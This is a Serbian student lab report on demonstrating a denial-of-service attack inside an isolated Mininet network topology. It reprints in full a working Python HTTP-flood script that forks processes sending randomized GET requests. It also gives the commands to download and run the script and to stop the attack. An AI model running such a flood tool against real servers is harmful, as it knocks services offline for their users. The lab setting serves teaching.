Vous êtes sur la page 1sur 13

VISOKA ŠKOLA STRUKOVNIH STUDIJA

ZA INFORMACIONE I KOMUNIKACIONE TEHNOLOGIJE

MREŽNO I SOFTVERSKO INŽENJERSTVO

Predmet:

INTEGRISANI SERVISI

Tema:
Denial of Service Attack

Mentor: Student:
Prof. Dr. Goran Zajić, dipl. inž. Marko Mitić 2049/17

Beograd, Jun 2018


Primer MININET
Denial of Service Attack

U pokaznom primeru DDoS (Distributed Denial of Service) napada jednog računara


na HTTP server. DDoS napad predstavlja slanje velikog broja HTTP upita HTTP serveru
koji ne stiže da odgovori klijentu na zahteve te mu stoga performanse zbog zauzetosti
CPU ciklusa, opada. Najčešće napadač šalje TCP zahtev SYN u formi HTTP Get poruke.
HTTP server vraća TCP SYN-ACK u vidu HTTP response odgovora kao potvrdu na
primljenu SYN poruku. Server zatim očekuje samo TCP ACK poruku od klijenta kako bi se
uspostavila TCP sesija.

U slučaju da napad dolazi sa više hostova, mogao bi se nazvati “distribuiranim”. Mi


ćemo pokazati samo DoS napad pošto ćemo u narednoj vežbi koristiti jedan host koji
glumi napadača.

Za demonstraciju ove vežbe, potrebno je skinuti skriptu za izvođenje napada, tj.


kod sa Internet lokacije „Github“. To se radi ili odlaskom na URL stranice
https://github.com/firefoxbug/ i skine kod za “DDOS tool in python” i sačuva se npr. u
linux/home lokaciju na disku. U našem slučaju, to je lokacija /home/marko.

Drugi način je skidanje koda upotrebom terminala. Startuje se Terminal aplikacija i


povlači se sa Interneta komandom:

git clone https://github.com/firefoxbug/ddos.git.

Dobijamo DDoS folder na lokaciji na disku, u kome se nalazi skripta pisana u


python programskom jeziku. Kada se otvori attack.py skripta u tekstualnom editoru
poput Notepad-a ili Word-a u Windows okruženju, ili u Gedit aplikaciji u Linux okruženju
(sudo gedit ~/ddos/attack.py), možemo videti njen sadržaj i analizirati ga:

#/usr/bin/python

# function : ddos tools


# author : firefoxbug

import os
import re
import sys
import time
import signal
import socket
import getopt
import random
import urllib2
import threading

def usage():
print ''' usage : python attack.py [-t] [-c] http://www.baidu.c om/

-h : help
-t : lasting time of ddos
-c : numbers of thread to create'''
sys.exit()

# generates a user agent array


def useragent_list():
global headers_useragents
headers_useragents = []
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3
(.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824
Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718
Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko)
Chrome/ Safari/532.1')
4.0.219.6

headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR
2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR
2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
return(headers_useragents)

# generates a referer array


def referer_list():
global headers_referers
headers_referers = []
headers_referers.append(' ')
http://www.us atoday.c om/s earch/res ults ?q=

headers_referers.append(' ')
http://engadget.s earc h.aol .com/searc h?q=

headers_referers.append('http://' + host + '/')


return(headers_referers)

def handler(signum,_):
if signum == signal.SIGALRM:
print "Time is up !"
print "Attack finished !"
sys.exit()

#builds random ascii string


def buildblock(size):
out_str = ''
for i in range(0, size):
a = random.randint(65, 90)
out_str += chr(a)
return(out_str)

def send_packet(host,param_joiner):
request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' +
buildblock(random.randint(3,10)))
request.add_header('User-Agent', random.choice(headers_useragents))
request.add_header('Cache-Control', 'no-cache')
request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))
request.add_header('Keep-Alive', random.randint(110,120))
request.add_header('Connection', 'keep-alive')
request.add_header('Host',host)
try:
response = urllib2.urlopen(request)
except urllib2.HTTPError,error:
pass
except urllib2.URLError, error:
pass
# print "response code = %d "%response.code

def attack(host,param_joiner):
while True:
send_packet(host,param_joiner)

def parse_parameters(parameters):

global url
global interval
global num_thread
interval_def = 30
num_thread_def = 5
interval = interval_def
num_thread = num_thread_def
try :
opts,args = getopt.getopt(parameters,"ht:c:",["help"])
url = args[0]
for opt,arg in opts:
if opt in ('-h','--help'):
usage()
elif opt in ('-t','--time'):
if arg.isalnum():
interval = arg
else:
usage()
elif opt in ('-c','--count'):
if arg.isalnum():
num_thread = arg
else:
usage()
except getopt.GetoptError:
print("getopt error!");
usage();
sys.exit(1);

if __name__ == '__main__':
if len(sys.argv) < 2:
usage()
sys.exit()
parse_parameters(sys.argv[1:])
print "Debug : thread=%d time=%d %s"%(int(num_thread),int(interval),url)
if url.count('/') == 2:
url = url + "/"
m = re.search('http\://([^/]*)/?.*', url)
try :
host = m.group(1)
except AttributeError,e:
usage()
sys.exit()

useragent_list()
referer_list()

if url.count("?") > 0:
param_joiner = "&"
else:
param_joiner = "?"
signal.signal(signal.SIGINT, handler)
signal.signal(signal.SIGALRM, handler)
signal.alarm(int(interval))

for i in range(int(num_thread)):
newpid = os.fork()
if newpid == 0:
# signal.signal(signal.SIGINT, signal.SIG_DFL)
attack(host,param_joiner)
else:
pass
# print ("Child process",os.getpid(),newpid)
time.sleep(int(interval))
signal.alarm(0)
print "main thread exit..."
Kasnije u vežbi će ovu skriptu upotrebiti host H2HTTPAtacker za napad na
H3HTTPServer host.

Za izvođenje vežbe nam je potrebno da imamo instaliran Linux operativni system,


bilo na računaru, bilo unutar softvera virtuelne mašini. Ovde će biti korišćen Linux
Ubuntu (ubuntu-18.04-live-server-amd64) operativni sistem a pokrenut u virtuelnoj
mašini VMWare Workstation Pro verzije 12.5.9.

Na Linux računaru je potrebno imati instaliran Mininet, što se radi komandom iz


Terminala: apt-get install mininet. Nakon toga, Mininet će biti instaliran na

vaš računar.

Pojednostavljena Mininet topologija korišćena u ovoj vežbi sastoji se od tri redno


vezana sviča nazvanih S1, S2 i S3. Zatim imaćemo tri računara (hosta, eng. Hosts, u
Mininet topologiji predstavljeni kao h1, h2 i h3), i naravno kontroler C0. Topologija je
predstavljena na slici ispod.
Da bismo kreirali topologiju u Mininet-u, potrebno je u Terminalu pokrenuti
komandu user@linux-vm:~$ sudo mn --topo=linear,3

*** No default OpenFlow controller found for default switch!


*** Falling back to OVS Bridge
*** Creating network
*** Adding controller
*** Adding hosts:
h1 h2 h3
*** Adding switches:
s1 s2 s3
*** Adding links:
(h1, s1) (h2, s2) (h3, s3) (s2, s1) (s3, s2)
*** Configuring hosts
h1 h2 h3
*** Starting controller
*** Starting 3 switches
s1 s2 s3 ...
*** Starting CLI:

mininet>
Kreiranje topologije i testiranje
konektivnosti pingom komandom pingall

Promenićemo imena hostovima radi lakšeg snalaženja i pregleda. Potrebno je


nakon pokretanja topologije, komandom xterm pokrenuti zasebne terminale na
hostovima.
Klijent h1 će imati ulogu HTTP klijenta, pa ćemo ga nakon kreiranja topologije i
ulaska u mininet, pokretanja terminala na h1 hostu, nazvati H1HTTPClient komandom
hostname H1HTTPClient.

Klijent h2 će imati ulogu HTTP napadača koji će vršiti DdoS napad na HTTP server
H3, pa ćemo ga nakon kreiranja topologije i ulaska u mininet, pokretanja terminala na
h2 hostu, nazvati H2HTTPAtacker komandom hostname H2HTTPAtacker.

Klijent h3 će imati ulogu HTTP klijenta, pa ćemo ga nakon kreiranja topologije i


ulaska u mininet, pokretanja terminala na h3 hostu, nazvati H3HTTPServer komandom
h3 hostname H3HTTPServer.

mininet> xterm h1 h2 h3

U h1 otvorenom prozoru Terminala kucati hostname H1HTTPClient, kao na slici.


Primetićete da se prompt nije promenio, pa je potrebno taj xterm prozor zatvoriti i iz
minineta otvoriti nove prozore kako bi promena bila vidljiva kao u slučaju H3 hosta.

mininet> xterm h1 h2 h3

H3HTTPServer ćemo koristiti kao HTTP server koji „sluša“ po TCP portu 80. To se
postiže komandom python –m SimpleHTTPServer 80. Nakon izvršenja ove komande,
server počinje da snima saobraćaj po portu 80:
Kako bi testirali HTTP zahtev, na hostu h1 pokrećemo komandu curl i IP adresa h3
hosta. root@H1HTTPClient:# curl 10.0.0.3

Vidimo u prozoru hosta h3 da je registrovao HTTP Get poruku od hosta na IP adresi


10.0.0.1.

Zatim ćemo sa hosta h2 izvršiti napad sa 100 paketa na h3.

Komandom kojom to obavljamo na hostu h2 je: python attack.py –t 20 –c


1000 http://10.0.0.3. Napomena: komanda se mora izvršiti iz direktorijuma u kome
se nalazi skinuta attack skripta. U našem slučaju, to je putanja:
Ostale opcije ove komande su:
-h : help
-t : vreme trajanja DDoS napada,
-c : broj kreiranih paketa koji će biti poslati.

Nakon izvršenja ove komande, pokreće se skripta attack.py u python-u, nakon


čega počinje DDoS napad.

Ispis napada na h1 napadaču i detekcija napada na h3 HTTP serveru

Then we use curl at h1 to connect to h3 again.

Zatim ćemo pokazati da HTTP server nije više dostupan na HTTP upite od strane
drugih računara, kao što je u našem slučaju H1HTTPClient. Usled zauzetosti
H3HTTPServer-a obrađivanjem zahteva koje dobija od H2HTTPAttacker-a koji se
predstavlja kao HTTP Client, regularan HTTP upit generisan od strane H1HTTPClient-a ne
prolazi. H1 dobija poruku da je njegov HTTP Get zahtev odbijen, tj. TCP sesija nije mogla
da se uspostavi sa HTTPServer-om.
Kako bi se napad okončao, potrebno je kucati sudo pkill python u h2 prozoru
napdača. Nakon toga napad prestaje i dobija se poruka:

Ukoliko ugasimo link između sviča s2 i hosta h2 odakle napadač šalje pakete
koristeći komandu u mininet-u: link s2 h2 down, kao na slici:

Ovim smo odsekli napadača, koji dobija poruku: “Connection reset by peer”, dok
server više ne detektuje napad.
Izaći iz minineta komandom quit i očistiti kontroler: sudo mn –c.

Primer korišćen u ovoj vežbi: http://csie.nqu.edu.tw/smallko/sdn/dos_attack.htm

Vous aimerez peut-être aussi